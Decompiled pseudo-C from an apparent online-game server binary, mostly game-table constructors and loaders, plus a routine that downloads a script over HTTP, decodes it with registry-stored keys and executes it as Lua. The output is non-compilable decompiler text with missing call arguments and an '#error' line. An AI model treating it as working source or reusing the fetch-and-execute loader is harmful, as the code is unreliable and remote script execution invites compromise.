LevelGap_Monster_to_Player::_LevelGap_Monster_to_Player(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BC00) -------------------------------------------------------- void __thiscall PKQuestLVGapTable::PKQuestLVGapTable(PKQuestLVGapTable *this) { PKQuestLVGapTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S277 & 1) ) { _S277 |= 1u; atexit(_E278); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&PKQuestLVGapTable::_vftable_; } // 67B18C: using guessed type int (__cdecl *ITableBase_PKQuestLVGap_PKQuestLVGapTable____vftable_)(int __formal); // 67B3C8: using guessed type int (__cdecl *PKQuestLVGapTable___vftable_)(int __formal); //----- (0057BC50) -------------------------------------------------------- void *__thiscall PKQuestLVGapTable::_vector_deleting_destructor_(PKQuestLVGapTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PKQuestLVGapTable::_PKQuestLVGapTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BC80) -------------------------------------------------------- void __thiscall BelongDiceTable::BelongDiceTable(BelongDiceTable *this) { BelongDiceTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S279 & 1) ) { _S279 |= 1u; atexit(_E280); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&BelongDiceTable::_vftable_; } // 67B198: using guessed type int (__cdecl *ITableBase_BelongDice_BelongDiceTable____vftable_)(int __formal); // 67B3D4: using guessed type int (__cdecl *BelongDiceTable___vftable_)(int __formal); //----- (0057BCD0) -------------------------------------------------------- void *__thiscall BelongDiceTable::_vector_deleting_destructor_(BelongDiceTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; BelongDiceTable::_BelongDiceTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BD00) -------------------------------------------------------- void __thiscall ActionRangeFactors::ActionRangeFactors(ActionRangeFactors *this) { ActionRangeFactors *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S281 & 1) ) { _S281 |= 1u; atexit(_E282); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&ActionRangeFactors::_vftable_; } // 67B1A4: using guessed type int (__cdecl *ITableBase_ActionRangeFactor_ActionRangeFactors____vftable_)(int __formal); // 67B3E0: using guessed type int (__cdecl *ActionRangeFactors___vftable_)(int __formal); //----- (0057BD50) -------------------------------------------------------- void *__thiscall ActionRangeFactors::_scalar_deleting_destructor_(ActionRangeFactors *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ActionRangeFactors::_ActionRangeFactors(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BD80) -------------------------------------------------------- void __thiscall ItemActionConditions::ItemActionConditions(ItemActionConditions *this) { ItemActionConditions *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S283 & 1) ) { _S283 |= 1u; atexit(_E284); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&ItemActionConditions::_vftable_; } // 67B1B0: using guessed type int (__cdecl *ITableBase_ItemActionCondition_ItemActionConditions____vftable_)(int __formal); // 67B3EC: using guessed type int (__cdecl *ItemActionConditions___vftable_)(int __formal); //----- (0057BDD0) -------------------------------------------------------- void *__thiscall ItemActionConditions::_vector_deleting_destructor_(ItemActionConditions *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ItemActionConditions::_ItemActionConditions(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BE00) -------------------------------------------------------- void __thiscall ItemActionEffects::ItemActionEffects(ItemActionEffects *this) { ItemActionEffects *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S285 & 1) ) { _S285 |= 1u; atexit(_E286); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&ItemActionEffects::_vftable_; } // 67B1BC: using guessed type int (__cdecl *ITableBase_ItemActionEffect_ItemActionEffects____vftable_)(int __formal); // 67B3F8: using guessed type int (__cdecl *ItemActionEffects___vftable_)(int __formal); //----- (0057BE50) -------------------------------------------------------- void *__thiscall ItemActionEffects::_scalar_deleting_destructor_(ItemActionEffects *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ItemActionEffects::_ItemActionEffects(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BE80) -------------------------------------------------------- void __thiscall ItemActions::ItemActions(ItemActions *this) { ItemActions *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S287 & 1) ) { _S287 |= 1u; atexit(_E288); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&ItemActions::_vftable_; } // 67B1C8: using guessed type int (__cdecl *ITableBase_ItemAction_ItemActions____vftable_)(int __formal); // 67B404: using guessed type int (__cdecl *ItemActions___vftable_)(int __formal); //----- (0057BED0) -------------------------------------------------------- void *__thiscall ItemActions::_scalar_deleting_destructor_(ItemActions *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ItemActions::_ItemActions(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BF00) -------------------------------------------------------- void __thiscall SetEffectTable::SetEffectTable(SetEffectTable *this) { SetEffectTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S289 & 1) ) { _S289 |= 1u; atexit(_E290); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&SetEffectTable::_vftable_; } // 67B1D4: using guessed type int (__cdecl *ITableBase_SetEffect_SetEffectTable____vftable_)(int __formal); // 67B410: using guessed type int (__cdecl *SetEffectTable___vftable_)(int __formal); //----- (0057BF50) -------------------------------------------------------- void *__thiscall SetEffectTable::_scalar_deleting_destructor_(SetEffectTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; SetEffectTable::_SetEffectTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057BF80) -------------------------------------------------------- void __thiscall ActionEffectItemTable::ActionEffectItemTable(ActionEffectItemTable *this) { ActionEffectItemTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S291 & 1) ) { _S291 |= 1u; atexit(_E292); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&ActionEffectItemTable::_vftable_; } // 67B1E0: using guessed type int (__cdecl *ITableBase_ActionEffectItem_ActionEffectItemTable____vftable_)(int __formal); // 67B41C: using guessed type int (__cdecl *ActionEffectItemTable___vftable_)(int __formal); //----- (0057BFD0) -------------------------------------------------------- void *__thiscall ActionEffectItemTable::_scalar_deleting_destructor_(ActionEffectItemTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ActionEffectItemTable::_ActionEffectItemTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057C000) -------------------------------------------------------- void __thiscall ActionEffectAbStateTable::ActionEffectAbStateTable(ActionEffectAbStateTable *this) { ActionEffectAbStateTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S293 & 1) ) { _S293 |= 1u; atexit(_E294); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&ActionEffectAbStateTable::_vftable_; } // 67B1EC: using guessed type int (__cdecl *ITableBase_ActionEffectAbState_ActionEffectAbStateTable____vftable_)(int __formal); // 67B428: using guessed type int (__cdecl *ActionEffectAbStateTable___vftable_)(int __formal); //----- (0057C050) -------------------------------------------------------- void *__thiscall ActionEffectAbStateTable::_scalar_deleting_destructor_(ActionEffectAbStateTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ActionEffectAbStateTable::_ActionEffectAbStateTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057C080) -------------------------------------------------------- void __thiscall EnchantSocketRateTable::EnchantSocketRateTable(EnchantSocketRateTable *this) { EnchantSocketRateTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S295 & 1) ) { _S295 |= 1u; atexit(_E296); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&EnchantSocketRateTable::_vftable_; } // 67B1F8: using guessed type int (__cdecl *ITableBase_EnchantSocketRate_EnchantSocketRateTable____vftable_)(int __formal); // 67B434: using guessed type int (__cdecl *EnchantSocketRateTable___vftable_)(int __formal); //----- (0057C0D0) -------------------------------------------------------- void *__thiscall EnchantSocketRateTable::_vector_deleting_destructor_(EnchantSocketRateTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; EnchantSocketRateTable::_EnchantSocketRateTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057C100) -------------------------------------------------------- void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this) { IIDTableBase *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S297 & 1) ) { _S297 |= 1u; atexit(_E298); } v1->baseclass_0.m_acFilename[0] = 0; v1->m_pkRecordIDMap = 0; v1->m_tMostLargeID = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; } // 67B110: using guessed type int (__cdecl *ITableBase_AccUpGradeInfo_AccUpGradeInfoTable____vftable_)(int __formal); // 67B11C: using guessed type int (__cdecl *IIDTableBase_AccUpGradeInfo_AccUpGradeInfoTable_int____vftable_)(int __formal); //----- (0057C160) -------------------------------------------------------- void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this) { IIDTableBase *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S299 & 1) ) { _S299 |= 1u; atexit(_E300); } v1->baseclass_0.m_acFilename[0] = 0; v1->m_pkRecordIDMap = 0; v1->m_tMostLargeID = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; } // 67B16C: using guessed type int (__cdecl *ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player____vftable_)(int __formal); // 67B178: using guessed type int (__cdecl *IIDTableBase_DamageLvGapPVP_LevelGap_Player_to_Player_unsigned char____vftable_)(int __formal); //----- (0057C1C0) -------------------------------------------------------- #error "57C1C0: undefined or illegal type 'ListArray' (funcsize=71)" //----- (0057C290) -------------------------------------------------------- bool __thiscall ZoneServer::zs_LuaFromHTML(ZoneServer *this, char *address, int port) { ZoneServer *v3; // edi@1 _iobuf *v4; // esi@1 int v5; // ST14_4@2 int v6; // ST10_4@2 CServerInfo::MY_SERVER *v7; // eax@2 _iobuf *v8; // esi@2 const char *v9; // eax@2 _iobuf *v10; // esi@8 _iobuf *v11; // esi@17 _iobuf *v12; // esi@17 const char *v13; // eax@17 _iobuf *v14; // esi@21 unsigned int v15; // ecx@21 unsigned int i; // eax@21 void *v17; // ecx@22 void *v18; // eax@25 int v19; // eax@27 void *v20; // ecx@27 bool v21; // sf@33 unsigned __int8 v22; // of@33 _iobuf *v23; // esi@34 bool result; // al@35 _iobuf *v25; // esi@36 DWORD type; // [sp+10h] [bp-15Ch]@1 HKEY hKey; // [sp+14h] [bp-158h]@8 __int64 codeN; // [sp+18h] [bp-154h]@9 __int64 codeD; // [sp+20h] [bp-14Ch]@9 int k; // [sp+28h] [bp-144h]@1 DWORD sz; // [sp+2Ch] [bp-140h]@9 int nationname; // [sp+30h] [bp-13Ch]@2 char *v33; // [sp+34h] [bp-138h]@1 CServerInfo *thisa; // [sp+38h] [bp-134h]@1 char content; // [sp+3Ch] [bp-130h]@2 char *_First; // [sp+40h] [bp-12Ch]@2 unsigned int v37; // [sp+50h] [bp-11Ch]@21 unsigned int v38; // [sp+54h] [bp-118h]@2 char buffer[256]; // [sp+5Ch] [bp-110h]@9 unsigned int v40; // [sp+15Ch] [bp-10h]@1 int v41; // [sp+168h] [bp-4h]@2 v40 = (unsigned int)&type ^ __security_cookie; v3 = this; v33 = address; v4 = fopen("Message.txt", "a"); fprintf(v4, "%s\n"); fclose(v4); thisa = (CServerInfo *)&v3->zs_serverinfo; k = 0; while ( 1 ) { CServerInfo::GetNationName(thisa, (CServerInfo::NATION_NAME *)&nationname); std::basic_string_std::allocator>::basic_string_std::allocator>((std::basic_string,std::allocator > *)&content); v5 = nationname; v41 = 0; v6 = ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; v7 = ZoneServer::zs_worlddata(&zoneserver); HTTPString::hs_HTMMRead((HTTPString *)&content, v33, port, "boot", v7->nWorldNo, v6, (char *)v5); v8 = fopen("Message.txt", "a"); fprintf(v8, "%s\n"); fclose(v8); v9 = _First; dword_14BC43F0 = 0; dword_14BC43EC = 0; g_LuaArgument.Count = 0; if ( v38 < 0x10 ) v9 = (const char *)&_First; sscanf(v9, "[%d][%d]"); if ( dword_14BC43EC <= 0 || dword_14BC43EC > 10080 ) { dword_14BC43EC = 100; goto LABEL_33; } if ( dword_14BC43F0 < 0 || dword_14BC43F0 > 10 ) { dword_14BC43F0 = 5; goto LABEL_33; } v10 = fopen("Message.txt", "a"); fprintf(v10, "%s\n"); fclose(v10); if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\GBO", 0, 0x201u, &hKey) ) { codeN = 0i64; codeD = 0i64; sz = 256; type = 1; buffer[0] = 0; if ( !RegQueryValueExA(hKey, "Natural", 0, &type, buffer, &sz) ) sscanf(buffer, "%I64d"); if ( !RegQueryValueExA(hKey, "Desert", 0, &type, buffer, &sz) ) sscanf(buffer, "%I64d"); if ( !codeN || !codeD ) message(" Code"); RegCloseKey(hKey); HTTPString::hs_Decoding((HTTPString *)&content, codeN, codeD); } v11 = fopen("Message.txt", "a"); fprintf(v11, "%s\n"); fclose(v11); HTTPString::hs_Expand((HTTPString *)&content); v12 = fopen("Message.txt", "a"); fprintf(v12, "%s\n"); fclose(v12); v13 = _First; if ( v38 < 0x10 ) v13 = (const char *)&_First; if ( LuaScript::ls_FromString(&g_LUA_SCRIPT_SECURITY, v13) ) break; AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start_old : Script error", 0); LABEL_33: Sleep(0x3E8u); v41 = -1; std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&content); v22 = __OFSUB__(k + 1, 1); v21 = k++ < 0; if ( !(v21 ^ v22) ) { v23 = fopen("Message.txt", "a"); fprintf(v23, "%s\n"); fclose(v23); goto LABEL_35; } } v14 = fopen("Message.txt", "a"); fprintf(v14, "%s\n"); fclose(v14); v15 = v37; for ( i = 0; i < v37; ++i ) { v17 = _First; if ( v38 < 0x10 ) v17 = &_First; *((_BYTE *)v17 + i) = 32; v15 = v37; } v18 = _First; if ( v38 < 0x10 ) v18 = &_First; v19 = (int)((char *)v18 + v15); v20 = _First; if ( v38 < 0x10 ) v20 = &_First; std::basic_string_std::allocator>::erase( (std::basic_string,std::allocator > *)&content, (std::basic_string,std::allocator >::iterator *)&type, (std::basic_string,std::allocator >::iterator)v20, (std::basic_string,std::allocator >::iterator)v19); if ( !LuaScript::ls_FunctionCall(&g_LUA_SCRIPT_SECURITY, "chrlghk", &LuaScriptArgument::lsa_NoLuaArgument) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start_old : function call error", 0); goto LABEL_33; } v25 = fopen("Message.txt", "a"); fprintf(v25, "%s\n"); fclose(v25); v41 = -1; std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&content); LABEL_35: __security_check_cookie((unsigned int)&type ^ v40); return result; } // 14BC43E8: using guessed type struct LuaArgument g_LuaArgument; // 14BC43EC: using guessed type int dword_14BC43EC; // 14BC43F0: using guessed type int dword_14BC43F0; //----- (0057C750) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentScoreTable::GuildTournamentScoreTable((GuildTournamentScoreTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 879 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB454: using guessed type int ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable___ms_pkTable; //----- (0057C820) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentLvGapTable::GuildTournamentLvGapTable((GuildTournamentLvGapTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 23 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB458: using guessed type int ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable___ms_pkTable; //----- (0057C8F0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentOccupyTable::GuildTournamentOccupyTable((GuildTournamentOccupyTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 18 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB45C: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (0057C9C0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentSkillTable::GuildTournamentSkillTable((GuildTournamentSkillTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 251 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB460: using guessed type int ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable___ms_pkTable; //----- (0057CA90) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentMasterBuffTable::GuildTournamentMasterBuffTable((GuildTournamentMasterBuffTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 44 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB464: using guessed type int ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable___ms_pkTable; //----- (0057CB60) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIGetRateTable::GTIGetRateTable((GTIGetRateTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 70 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB468: using guessed type int ITableBase_GTIGetRate_GTIGetRateTable___ms_pkTable; //----- (0057CC30) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIGetRateGapTable::GTIGetRateGapTable((GTIGetRateGapTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 7 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // D1D90C8: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; //----- (0057CD00) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIServerTable::GTIServerTable((GTIServerTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 383 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // D1D90CC: using guessed type int ITableBase_GTIServer_GTIServerTable___ms_pkTable; //----- (0057CDD0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTIBreedSubjectTable::GTIBreedSubjectTable((GTIBreedSubjectTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 44 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB46C: using guessed type int ITableBase_GTIBreedSubject_GTIBreedSubjectTable___ms_pkTable; //----- (0057CEA0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GTWinScoreTable::GTWinScoreTable((GTWinScoreTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 1 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // D1D90D0: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (0057CF70) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) AccUpGradeTable::AccUpGradeTable((AccUpGradeTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 81 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; 